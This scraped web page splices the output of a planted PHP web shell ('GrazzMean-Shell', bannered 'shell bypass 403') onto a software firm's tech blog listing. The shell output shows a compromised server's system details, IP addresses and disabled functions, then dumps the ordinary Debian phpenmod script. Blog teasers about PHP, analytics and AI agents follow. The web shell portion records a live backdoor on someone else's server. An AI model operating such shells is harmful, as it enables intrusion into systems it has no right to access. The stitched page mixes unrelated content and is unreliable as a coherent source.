shell bypass 403

GrazzMean-Shell Shell

: /sbin/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 18.225.92.251
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : phpenmod
#!/bin/sh
#
# phpenmod - a PHP module manager for Debian
#
# Copyright 2013-2015 Ondřej Surý <ondrej@sury.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

set -ue

SCRIPT_NAME=${0##*/}
QUIET=no
NEED_RESTART=no
MAINT_MODE=no

. /usr/lib/php/php-helper

usage() {
    [ -n "$@" ] && warning $@
    echo "usage: ${SCRIPT_NAME} [ -v ALL|php_version ] [ -s ALL|sapi_name ] module_name [ module_name_2 ]"
    exit 1
}

resolve_versions() {
    local versions=$1
    if [ "$versions" = "ALL" ]; then
	versions=$(phpquery -V)
    fi
    echo $versions
}

resolve_sapis() {
    local version=$1
    local sapis=$2
    
    if [ "$sapis" = "ALL" ]; then
	sapis=$(phpquery -S -v $version)
    fi
    echo $sapis
}

enmods() {
    local versions="$1"
    local sapis="$2"
    local mods="$3"
    local register="$4"
    local versions
    local sapis
    local version
    local sapi
    local mod
    
    for mod in $mods; do
	for version in $(resolve_versions "$versions"); do
	    for sapi in $(resolve_sapis "$version" "$sapis"); do
		enmod_ret=0
		enmod "$version" "$sapi" "$mod" || enmod_ret=$?
		case $enmod_ret in
		    0)
			NEED_RESTART=yes
			record_state enabled "$version" "$sapi" "$mod"
			;;
		esac
	    done
	    if [ "$register" = "yes" ]; then
		mod_registry register "$version" "$mod"
	    fi
	done
    done
}

dismods() {
    local versions="$1"
    local sapis="$2"
    local mods="$3"
    local register="$4"
    local purge="$5"
    local version
    local sapi
    local mod

    for mod in $mods; do
	for version in $(resolve_versions "$versions"); do
	    for sapi in $(resolve_sapis "$version" "$sapis"); do
		local dismod_ret=0
		dismod "$version" "$sapi" "$mod" "$purge" || dismod_ret=$?
		case $dismod_ret in
		    0)
			NEED_RESTART=yes
			record_state disabled "$version" "$sapi" "$mod"
			;;
		esac
	    done
	done
	if [ "$purge" = "yes" ]; then
	    remove_state enabled "$version" "$sapi" "$mod"
	    remove_state disabled "$version" "$sapi" "$mod"
	    mod_registry unregister "$version" "$mod"
	elif [ "$register" = "yes" ]; then
	    mod_registry unregister "$version" "$mod"
	fi
    done
}

enmod() {
    local version=$1
    local sapi=$2
    local modname=$3

    if ! module_exists "$version" "$modname"; then
	warning "Module $modname ini file doesn't exist under /etc/php/${version}/mods-available"
	return 1
    fi

    local priority=$(get_priority "$version" "$sapi" "$modname")
    local live_link=$(get_live_link "$version" "$sapi" "$modname" "$priority")
    local live_link_content=$(get_live_link_content "$version" "$sapi" "$modname" "$priority")

    local module_state=0
    phpquery -q -v "$version" -s "$sapi" -m "$modname" || module_state=$?

    case "$module_state" in
	# module enabled, but re-enable the conf.d link just in case
	0)
	    ;;
	# module not yet enabled
	1)
	    ;;
	# module disabled by maintainer script
	33)
	    ;;
	# module disabled by site administrator
	# enable module only if not running in maintainer mode
	32)
	    if [ "$MAINT_MODE" = "yes" ]; then
		warning "Not enabling the ${modname} module for PHP ${version} ${sapi} SAPI since the module"
		warning "was disabled by local administrator."
		return 1
	    fi
	    ;;
	34)
            warning "Not enabling the ${modname} module for PHP ${version} ${sapi} SAPI since module symlink"
	    warning "already exists in /etc/php/${version}/${sapi}/conf.d with different content."
	    return 1
	    ;;
	# fail if we get any different result
	*)
	    warning "Unable to get module state, run phpquery -v ${version} -s ${sapi} -m ${modname} manually"
	    warning "and fix the module state."
	    return 1
    esac

    if [ -d "/etc/php/${version}/$sapi/conf.d" ]; then
	if [ ! -h "${live_link}" ]; then
	    ln -s "${live_link_content}" "${live_link}"
	fi
    else
	warning "Directory /etc/php/${version}/${sapi}/conf.d doesn't exist, not enabling the module"
	return 1
    fi

    return 0
}

dismod() {
    local version=$1
    local sapi=$2
    local modname=$3
    local purge=$4

    if ! module_exists "$version" "$modname"; then
	if [ "$purge" = "no" ]; then
	    warning "Module ${modname} ini file doesn't exist under /etc/php/${version}/mods-available"
	    return 1
	fi
    fi

    local priority=$(get_priority "$version" "$sapi" "$modname")
    local live_link=$(get_live_link "$version" "$sapi" "$modname" "$priority")
    local live_link_content=$(get_live_link_content "$version" "$sapi" "$modname" "$priority")

    local module_state=0
    phpquery -q -v "$version" -s "$sapi" -m "$modname" || module_state=$?

    case $module_state in
	# module enabled
	0)
	    ;;
	# module not enabled, but re-remove the link just in case
	1|32|33)
	    ;;
	34)
	    warning "Not disabling module ${modname} for ${sapi} SAPI.  The configuration was"
	    warning "modified by local administrator."
	    return 1
	    ;;
	# fail if we get any different result
	*)
	    warning "Unable to get module state, run phpquery -v ${version} -s ${sapi} -m ${modname} manually"
	    warning "and fix the module state."
	    return 1
    esac

    if [ -d "/etc/php/${version}/${sapi}/conf.d" ]; then
	if [ -h "$live_link" ]; then
	    rm -f "$live_link"
	fi
    fi

    return 0
}

versions=
sapis=
register=no
purge=no
while getopts pfv:s:mqr opt; do
    case $opt in
	r) register=yes;;
	v)
	    if [ "$versions" = "ALL" -o \( "$OPTARG" = "ALL" -a -n "$versions" \) ]; then
		warning "You cannot specify ALL and individual versions"
		usage
	    fi
	    versions="${versions}${versions:+ }$OPTARG"
	    ;;
	s)
	    if [ "$sapis" = "ALL" -o \( "$OPTARG" = "ALL" -a -n "$sapis" \) ]; then
		warning "You cannot specify ALL and individual sapis"
		usage
	    fi
	    sapis="${sapis}${sapis:+ }$OPTARG"
	    ;;
	m) MAINT_MODE=yes;;
	p) purge=yes;;
	q) QUIET=yes;;
	\?) usage;;
    esac
done
shift $(expr $OPTIND - 1)
mods=""
for mod in $@; do
    mods="${mods}${mods:+ }${mod%%/*}"
done

# If -v or -s was not specified run on every version and every SAPI
[ -z "$versions" ] && versions=ALL
[ -z "$sapis"    ] && sapis=ALL

[ -z "$mods" ] && usage

case "${SCRIPT_NAME}" in
    phpenmod)
	enmods "$versions" "$sapis" "$mods" "$register"
	;;
    phpdismod)
	dismods "$versions" "$sapis" "$mods" "$register" "$purge"
	;;
    *)
	usage
	;;
esac
exit 0
© 2025 GrazzMean-Shell
January 2023 - Page 8 of 22 - Michigan AI Application Development - Best Microsoft C# Developers & Technologists

Tech Blog

Tech Insights, Information, and Inspiration
Guide to Journey Mapping

Guide to Journey Mapping

Journey mapping is a process of visualizing the customer experience. It involves mapping out the customer’s interactions with a product or service, from their initial discovery to their eventual decision to purchase. The journey map is then used to identify areas of improvement, opportunities for innovation and potential areas of customer frustration.

Choosing a PHP Framework

Choosing a PHP Framework

PHP frameworks are software packages that provide a universal development platform for creating web applications. These frameworks are designed to streamline application development, reduce the time and cost of development and simplify the process of coding. As a result, they are widely used by both professional developers and hobbyists alike.

Google Analytics 4

Google Analytics 4

Google Analytics 4 is the latest version of Google’s popular web analytics platform. This version of Google Analytics includes new features and capabilities, such as improved data management, machine learning-powered insights, and enhanced tracking capabilities. It also offers a more intuitive user interface and better integration with other Google products and services. Overall, Google Analytics 4 is intended to provide businesses with a more comprehensive and useful view of their website performance and user behavior.

PHP vs Python for Web Development

PHP vs Python for Web Development

Both PHP and Python are used in web development, and they each have their own advantages and disadvantages. PHP is often used for simpler, smaller projects, while Python is better suited for more complex, larger projects. Python is more versatile and powerful than PHP, but it is also more difficult to learn. PHP is easy to learn, but it is not as powerful or versatile as Python.

PandaDoc Pipedrive Integration

PandaDoc Pipedrive Integration

Pandadoc and Pipedrive integration allows businesses to streamline their workflow and automate their document processes. By combining the two platforms, businesses can easily sync their customer data between the two, automatically generate personalized documents, and track performance and progress. This integration helps businesses save time and energy, while also providing them with a more efficient and organized way of managing their documents.

Bridging the Gap Between Business and Technology

Bridging the Gap Between Business and Technology

Bridging the gap between business and technology is essential if an organization wants to remain competitive. The primary goal of bridging the gap between business and technology is to ensure that the technology is utilized to its fullest potential. This can be done by understanding the objectives of the business and how technology can help achieve those goals. It is important to ensure that the technology is used in a way that is cost-effective, reliable and scalable.

Get In Touch

14 + 7 =

UseTech Design, LLC
TROY, MI • BLOOMFIELD HILLS, MI
Call or text +1(734) 367-4100

Approaching AI: How Today’s Businesses Can Harness Its Capabilities

Artificial Intelligence (AI) has transitioned from being a speculative concept in science fiction to a transformative force across numerous industries. Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

AI Agents: Bridging the Gap Between Technology and Real-World Applications

Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

Utilizing AI Agents for Effective Legacy Code Modernization

As companies strive to keep pace with innovation, the modernization of legacy code becomes imperative. Artificial Intelligence (AI) agents offer a compelling solution to this problem, providing sophisticated tools and methodologies to facilitate the transition from legacy systems to modern architectures.

Embracing the Future: How AI Agents Will Change Everything

The future with AI agent technology holds immense promise for transforming our world in profound and unprecedented ways. From personalized experiences and seamless integration into daily life to empowering human-computer collaboration and revolutionizing healthcare, AI agents are poised to redefine the way we live, work, and interact with technology.

AI Agents vs. Traditional Customer Support: A Comparative Analysis

While traditional support offers a human touch and emotional connection, AI agents provide scalability, efficiency, and 24/7 availability. Moving forward, businesses must carefully assess their unique needs and customer expectations to determine the optimal balance between AI-driven automation and human interaction.

The Future of Business Intelligence: AI Solutions for Data-driven Decision Making

The future of business intelligence is AI-powered, where data becomes not just a strategic asset but a competitive advantage. In today’s hyper-connected digital world, data has become the lifeblood of business operations. Every click, purchase, and interaction generates valuable information that, when analyzed effectively, can provide crucial insights for strategic decision-making.

Democratized AI: Making Artificial Intelligence Accessible to All

Democratized AI has the potential to revolutionize industries and improve society by making AI technologies more accessible and inclusive. However, it also presents challenges such as data privacy, bias, and ethical considerations that must be addressed to ensure responsible implementation.

Explainable AI (XAI): Techniques and Methodologies within the Field of AI

Imagine a black box. You feed data into it, and it spits out a decision. That’s how many AI systems have traditionally functioned. This lack of transparency can be problematic, especially when it comes to trusting the AI’s reasoning. This is where Explainable AI (XAI) comes in.

Building an AI-Ready Workforce: Key Skills and Training Strategies

As artificial intelligence (AI) continues to transform industries and reshape the employment landscape, the demand for a skilled AI-ready workforce intensifies. Organizations across various sectors are recognizing the imperative of equipping their employees with the necessary skills and knowledge to thrive in an AI-driven world.

Working Together: Approaches to Multi-agent Collaboration in AI

Imagine a team of specialists – a data whiz, a communication expert, and an action master – all working in sync. This is the power of multi-agent collaboration, with the potential to revolutionize fields like scientific discovery, robotics, and self-driving cars. But getting these AI agents to collaborate effectively presents unique challenges